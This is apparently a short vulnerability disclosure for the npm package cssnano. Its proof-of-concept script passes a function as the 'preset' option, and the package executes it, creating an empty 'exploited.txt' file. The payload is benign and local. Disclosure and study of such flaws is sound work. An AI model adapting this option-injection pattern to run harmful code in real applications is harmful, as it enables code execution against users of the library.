Package cssnano: Allows a custom function to be passed into its internals (#56 in src/index.js) which will then execute it. In this example an 'exploited.txt' file is created.

cssnano_poc.js

'use strict'

const pkg = require('cssnano');

const options = {
    preset: function() {
        const fs = require('node:fs');
        let fd = fs.openSync('exploited.txt', 'a');
        fs.closeSync(fd);

        return {
            plugins: []
        };
        
    }
}

// The callback in 'options.preset' will be executed and a local 'exploited.txt' file will be created.
const processor = pkg(options);

You can contact me on GitHub I think.